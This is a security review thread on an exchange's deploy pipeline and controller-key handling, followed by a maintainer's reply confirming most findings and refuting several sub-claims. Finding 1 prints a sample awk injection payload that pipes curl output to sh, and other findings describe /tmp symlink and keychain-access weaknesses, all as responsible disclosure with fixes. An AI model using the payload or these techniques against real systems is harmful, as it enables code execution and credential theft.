OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift

[rvnt9999]

OhShii Labs review, 7/8: deploy pipeline, controller-key hygiene, and posture/documentation drift

Seventh of eight. Theme: the operational surface. SECURITY.md puts "issues requiring a malicious controller" out of scope — we agree with that scoping, and the items here are mostly about whether it holds. A scope boundary that assumes the controller key is hard to obtain is only as good as the key handling around it.

Nothing here is exploitable by a remote attacker against the live deployment. Items 1 and 3 need local access to the operator's machine; the rest are readiness and drift.

---

1. awk program-text injection from a fixed-name /tmp file, on the mainnet deploy path

Where: scripts/deploy.sh:153-159

seed_px() {
  local base="${1%-ICPUSD}" fallback="$2" p=""
  [ -f /tmp/uplands-oracle-prices.txt ] && \
    p=$(awk -v a="$base" '$1==a{print $2; exit}' /tmp/uplands-oracle-prices.txt)   # correct: -v binding
  [ -z "$p" ] && p="$fallback"
  awk "BEGIN{printf \"%.4f\", $p}"                                                  # program-text interpolation
}

Field 2 of an attacker-plantable file is interpolated into the awk program text on line 158, while the line directly above binds correctly with -v. awk provides system(). macOS /tmp is mode 1777. deploy.sh:190 rm -fs the file first, which does not close the race — it is recreated during the history step and read afterwards.

A whitespace-free payload such as BTC 0);system("curl -s http://…|sh");(0 executes as the operator when they run ./scripts/deploy.sh subnet or cloud. That shell holds the mainnet controller identity, and on the cloud path deploy.sh:873 has already made it the machine-wide default (icp identity default "$CE_IDENTITY"), so the payload needs no credentials of its own.

Since requireController is the only admin gate in the backend, this reaches: setTestBalance, seedInsuranceFund, injectHistoricalTrades, setTestEmailBinding, and resetExchange → performWorldWipe, which stops and deletes every archive canister (main.mo:14171-14186) — the hash-chained ledger of record. Plus arbitrary wasm upgrade.

Suggested direction. awk -v p="$p" 'BEGIN{printf "%.4f", p+0}', and validate p against ^[0-9]+(\.[0-9]+)?$ first.

Related: there are twelve fixed-name /tmp write targets across the deploy scripts (deploy.sh:190,245-246; play_start.sh:100,185,233-234,331; cold_start.sh:190,359; seed.sh:237,429; inject_history.sh:72,191). A pre-planted symlink at a .new path gives arbitrary file overwrite as the operator — the .new + mv idiom does not help, because the vulnerable step is the redirect onto .new. mktemp appears exactly once in the repo (lint-ratchet.sh:107) and never in a deploy script; relocating these under "$MDX_ROOT/.run/" or a per-run mktemp -d with a cleanup trap would close the class.

---

2. cold_start.sh retains the pattern-kill the repo documents as having killed the live fleet twice

Where: scripts/cold_start.sh:345-348, :62

  pkill -f "simulate_trading.sh" 2>/dev/null || true
  sleep 1
  pkill -KILL -f "simulate_trading.sh" 2>/dev/null || true

scripts/lib/targets.sh:9-20 and scripts/stop_local_bots.sh:7 document this exact pattern as the cause of the live multidex.ai fleet being killed on 2026-07-23 and 2026-07-28, and the whole PID-file architecture (targets.sh:158-185) exists to replace it. play_start.sh:325-326 was migrated; cold_start.sh was not. So a local cold_start.sh run SIGKILLs any simulate_trading.sh on the machine, including one driving mainnet.

Separately, cold_start.sh:62 is set -o pipefail only — no -e, no -u — in the longest script on the deploy path, one that performs deploys (:229-230 promotes a controller) and injects API keys (:272, :281). Every failure is caught only by the if ! blocks the author remembered, and an unset-variable typo silently expands to empty.

Suggested direction. Replace both pkill -f lines with mdx_bots_stop "local" from scripts/lib/bots.sh; add set -euo pipefail after auditing the || true sites.

---

3. A helper script pre-authorises any unsigned binary to read every icp-cli private key without a prompt

Where: scripts/fix_icp_keychain_prompts.sh:24, 49-53; scripts/deploy.sh:873; scripts/sim_trading.sh:163-165 + ops/ai.multidex.bots.plist.template:32-50

read -s -p "macOS login password (will not echo): " PASS      # :24
...
  if security set-generic-password-partition-list \
       -S 'apple-tool:,apple:,unsigned:' \                     # any unsigned binary, no prompt
       -k "$PASS" \                                            # password on argv, visible in ps
       -s 'icp-cli' -a "$acct" >/dev/null 2>&1; then

Four compounding issues on the machine holding the only admin credential for the live exchange:

1. unsigned: in the partition list means any unsigned binary can read those items without a prompt. The script frames this as ergonomics ("Keys remain encrypted in keychain; only the per-item access policy changes") — but the access policy is the control, and it is applied to every icp-cli identity including the mainnet controller.
2. -k "$PASS" places the operator's macOS login password on the argv of security, readable via ps by any same-uid process, across 200+ iterations.
3. deploy.sh:873 leaves the mainnet controller as the machine-wide default identity and never restores it, so any later icp command omitting --identity runs as the controller.
4. ops/ai.multidex.bots.plist.template runs the fleet under launchd with KeepAlive, and sim_trading.sh:164-165 uses CE_IDENTITY (the controller) for setTestBalance refills — a permanently-resident, auto-restarting process exercising the controller key against the live venue every ~60 s.

Suggested direction. Do not apply this script to controller identities — scope it to test identities, or drop unsigned: and accept the prompt; use security -i rather than -k "$PASS"; restore the previous default identity after deploy.sh:873; and give the bot fleet a dedicated non-controller funding identity (the code already supports BOT_IDENTITY).

Minor, same area: AI provider keys are passed as process arguments (deploy.sh:527,540; cold_start.sh:272,281; play_start.sh:142,152), so they appear in ps. set_ai_key.sh:11-13 advertises --key-file as "never lands in shell history" — true for history, not for ps. Everything else about the handling is correct: read env-first then from git-ignored dotfiles, never echoed (only ${#KEY}), never logged, and no script anywhere sets set -x. Also worth flagging: the Gemini branch puts the key in the request URL (main.mo:12241-12242) while the Anthropic branch correctly uses a header (:12271). No caller-reachable leak exists today — we checked every error return in aiComplete — but it is a standing hazard the moment any change includes the request URL in an error string.

---

4. No build verification, no module-hash check, no reproducible build, and npm install rather than npm ci

Where: icp.yaml:90-93; the whole scripts/ tree; package.json:10-19

      configuration:
        dir: dist
        build:
          - npm install
          - npm run build

We checked each of these rather than assuming:

• No frontend build verification of any kind — no index.html presence check, no file count, no size check, no post-deploy fetch of the served asset. The string dist appears in no shell script.
• No wasm or module-hash check before or after deploy. icp canister status is called eight times across deploy.sh/cold_start.sh/play_start.sh and every call parses only the canister ID. The only sha256 in the repo is the ledger hash chain and pool-principal derivation.
• No reproducible build, despite docs/bridge-and-cks-design.md:129 making it a stated prerequisite ("the build reproducible so voters can verify the wasm matches the source") and :164 listing it as step 5 of the NNS handover.
• npm install silently rewrites the lockfile when it drifts from package.json's caret ranges and does not clean node_modules first, so the committed lockfile is not enforced at build time. The lockfile itself is sound — v3, integrity + resolved on all 81 entries, no non-registry URLs — and mops.lock is stronger still, with per-file SHA-256 plus mopsTomlDepsHash.

So nothing links the deployed wasm and assets to a reviewable source revision, and the CDN dependency in issue 1/8 lands in the certified asset canister through this same unverified path.

Suggested direction. npm install → npm ci; record icp canister status … | module hash before and after each remote deploy and print the delta; publish expected module hashes per release tag. This is a readiness gap on #play and a hard blocker for the documented NNS handover.

---

5. The -e ic route bypasses the environment allowlist and still resolves to the live subnet canisters

Where: scripts/deploy.sh:38, 85, 738, 756; icp.yaml:121-127; .icp/data/mappings/ic.ids.json

icp.yaml:115-120 states the intent — "the old shared ic mapping made that a one-file-swap accident… Both list ONLY the value-bearing canisters — the xrc/fuel mocks are dev-only and must never reach mainnet." The split was done for engine and subnet, but the legacy ic mapping is still committed and still pins the live canisters:

{ "backend": "hmxr2-pqaaa-aaabq-qaaaa-cai", "bridge": "hlwxo-ciaaa-aaabq-qaaaq-cai",
  "frontend": "hcv4s-uaaaa-aaabq-qaaba-cai" }

CE_ENV still defaults to "ic" (:85), deploy.sh:738 explicitly special-cases -e ic, the header at :38 documents ./scripts/deploy.sh -e ic --subnet <id> as a supported invocation, and docs/deploy-to-subnet.md §3 uses -e ic throughout. Because ic is never declared in environments:, it inherits no canister allowlist. The strings xrc-mock/fuel-mock do not appear in deploy.sh at all — the "never deploy the mocks" rule is convention plus one allowlist that this route bypasses.

xrc-mock's setRate has no (msg) binding at all, so it is writable by anyone. Mitigated today because the posture gate (:441-462) does apply to TARGET=plain and setXrcCanister is left unwired on #play.

Suggested direction. Delete .icp/data/mappings/ic.ids.json; declare an explicit ic environment with canisters: [backend, bridge, frontend, arb]; refuse a bare -e ic passthrough without a canister name; update docs/deploy-to-subnet.md to -e subnet.

Adjacent, and probably a live bug: scripts/deploy_to_engine.sh:16 execs deploy.sh "engine", but deploy.sh:387's case arm is local|cloud|subnet. engine falls through to PASS+=, TARGET becomes "plain" (:411-413), and :756 runs exec icp deploy engine — skipping apply_anti_sybil_settings (:596) and apply_memory_settings (:578). The two wrapper guards pass first, so the operator sees green output before the broken deploy. If a variant ever did succeed, skipping apply_anti_sybil_settings re-stamps icp.yaml's local-dev frontend_origins onto the live backend — the exact failure deploy.sh:553 records as having "bit multidex.ai on 2026-07-11". The vocabulary is inconsistent by accident: scripts/lib/targets.sh:31 says local|engine|subnet.

---

6. Posture and documentation drift

setTestEmailBinding is gated on IS_PRODUCTION instead of IS_DEV, so it is live on #play. main.mo:5591-5601. Every sibling in the family is #dev-gated precisely because of the operator-fairness rule at :76-80 — setTestScorecard (:5021), setAmmRefPrice (:11842), debugInspectByUsername (:10163). This is the only member gated on IS_PRODUCTION, and it is absent from the kill matrix. Since bindVerifiedEmail accepts any well-formed string with no Google round-trip, it mints anti-Sybil identities — and, because binding is first-come with no rebind path (:5511), setTestEmailBinding(<victim>, "attacker@x.com") permanently blocks that victim's real verification (:5531). requireDevHook("setTestEmailBinding") is the one-line fix.

injectHistoricalTrades has no posture gate at all (:14308), under a header comment (:14293-14298) calling these helpers "wrong for anything on a live mainnet canister". We traced all five readers of marketStats: it reaches display and analytics only — lastPrice, candles, 24 h volume, the OQL market row — and cannot touch refPrice, so it is chart forgery, not value manipulation. It still contradicts the #play invariant that the operator must not move prices.

The kill matrix in docs/deployment-modes.md is stale in three ways. It presents claimPlayFunds as the #play on-ramp with a dedicated semantics section, and docs/pre-mainnet-checklist.md lists claimPlayFunds() → #err(…) as a required production verification step — but the method is retired (main.mo:5326: "claimPlayFunds — is RETIRED"), grep finds it in neither main.mo nor candid/backend.did, PLAY_BASKET is gone, and tests/test_play_claim.sh — cited by both docs as the lock-in test — does not exist. So steps 4 and 5 of the posture smoke are unrunnable as written. The real mechanism is now the PLAY_DEPOSIT_CAP_USD reservation flow.

The matrix also omits six controller capabilities that are live on #play: setTestEmailBinding, seedInsuranceFund, injectHistoricalTrades, resetSeason, withdraw, adminSpawnCanister.

docs/bridge-and-cks-design.md §11 describes NNS sole-controllership in the present tense — "The DEX, Bridge, and Archive canisters have the NNS as their sole controller. There is no administrator principal that can upgrade or drain them" — while docs/deploy-to-subnet.md §2 correctly states the live posture is a single operator principal. We looked for a governance gate and found none; the only reference to a DAO/L2 governance canister in the backend is an aspirational comment at main.mo:11617. The README's "In production" phrasing is defensible; §11's present tense is not, and it is the doc a reader consults for the custody trust model. Combined with resetExchange → performWorldWipe deleting every archive and setBlackholeAtSeal defaulting to false, the honest statement is that on #play the ledger is tamper-evident but neither immutable nor authentic.

---

7. tests/MatchingEngine.test.mo does not compile

(Already reported by the Menese DeFi Team in #2. We reached it independently and confirm both the error and their root cause.)

$ moc 1.9.0 --check $(mops sources) tests/MatchingEngine.test.mo
tests/MatchingEngine.test.mo:161.112-175.2: type error [M0151], missing field 'beneficialOwner'
tests/MatchingEngine.test.mo:237.33-252.2:  type error [M0151], missing field 'beneficialOwner'

tests/OrderBook.test.mo type-checks clean, so this is specific. tests/run_all.sh:104 runs mops test, so the file's assertions cannot be executing. What is no longer under test: the self-trade-prevention unit test (:216-223 — the only place totalFilled == 0 + trades.size() == 0 is asserted on a self-cross; the shell test's gone() helper cannot distinguish "cancelled by STP" from "filled by the self-cross"), symmetric maker/taker fee and Σ-QUOTE conservation (:187-208), the whole FOK battery (:80-147), the order-id-0 sentinel (:290-291, the only test of it in the repo), and the two-clocks contract (:317-318).

docs/security-review.md:133-134 records L1 as "✔ Fixed … structurally prevented". The engine code is correct today — we read MatchingEngine.mo:251-255 and :635-639 — but the fix is not under test, and neither is fee conservation on the settlement path. Menese's root cause is right: lint-ratchet.sh:58 globs src/backend only, so the pre-push gate never type-checks tests/ and reports green while the suite is red.

We otherwise found the lint gate to be a genuine hard-zero: M0155_BASELINE=0 with a -gt comparison, globbing the filesystem rather than git ls-files so untracked files are gated, plus moc --check errors, zero lintoko lints, and a didc subtype check of candid/backend.did against the merge-base. Its limitations are self-documented and it does not overclaim.

---

— Ravenith, OhShii Labs

[rvnt9999]

@andreij6's #21 confirms our lint-gate certification over-reached - check 1's : error pattern and the M0155 ratchet's missing --implicit-package=core are both real. Reproduced.

[dominicwilliams]

Most of this report is confirmed and fixed. It is also the one report of the eight where the supporting detail was not held to the standard of the findings, and I would rather say that directly than leave it implied.

Confirmed and fixed

• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.1 — awk program-text injection on the mainnet deploy path. Confirmed, and worse than reported: because /tmp is sticky, a file planted by another local user cannot be removed or overwritten by our own rm -f. That makes it a persistent plant rather than a race, which is a different and larger threat model than the one you described.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.2 — cold_start.sh still pattern-kills. Confirmed. play_start.sh's own comment records a fourth bot-fleet kill on 2026-08-01. Fixed, and the surrounding practice is now written down as a standing rule rather than a comment.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.3 — the keychain helper pre-authorises unsigned binaries against the controller identity. Confirmed and fixed.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.5 — deploy_to_engine.sh passes a target deploy.sh doesn't recognise, silently skipping apply_anti_sybil_settings and apply_memory_settings. Confirmed and fixed. This one had already caused live drift.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.4 — no build verification, no module-hash check, no reproducible build, and npm install rather than npm ci. Confirmed and fixed.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.6a — setTestEmailBinding gated on IS_PRODUCTION instead of IS_DEV, with the rebind escape hatch its comment promises not existing as a method. Confirmed and fixed.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.6b — injectHistoricalTrades has no posture gate. Confirmed and fixed — and then fixed again, because our first fix was wrong: a blanket #dev-only gate broke the canonical #play bring-up, every history chunk trapped, and the failure was initially mis-blamed on "CoinGecko rate limits". It is now a one-way genesis window that closes the moment the venue goes live. Your finding was right; our first remedy was not.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.6c — the kill matrix references a retired method and a test file that does not exist, while pre-mainnet-checklist.md lists it as a required verification step. Confirmed and fixed.
• OhShii Labs review, 7/8 · 7 findings (#10.1–#10.7): deploy pipeline, controller-key hygiene, and posture/documentation drift #10.6d — bridge-and-cks-design.md §11 states NNS sole-controllership in the present tense when the live posture is a single operator principal. Confirmed and fixed.

Pinned by tests/test_deploy_hygiene.sh — 53 assertions, mutation-tested against 13 deliberately reintroduced bugs.

Refuted — three sub-claims and one miscategorised endpoint

1. "mktemp appears exactly once in the repo." It also appears in tests/run_all.sh (twice), tests/test_property_fuzz.sh, and .claude/sync-ic-skills.sh (four times). Your narrower claim — never in a deploy script — holds.
2. "The longest script on the deploy path." cold_start.sh is third (448 lines, against deploy.sh at 907 and seed.sh at 542), and two siblings share its weak set posture.
3. withdraw listed as an omitted controller capability. It is a requireAuth user function, interlocked the opposite way — it fails closed on #production.

These cost the report points. The findings themselves stand; the prose around them asserted things that a single grep refutes, and in a report whose subject is verification hygiene that matters more than it otherwise would.

The code is in #30, the first push to this mirror since the July snapshot; your line numbers against 0241cba still resolve.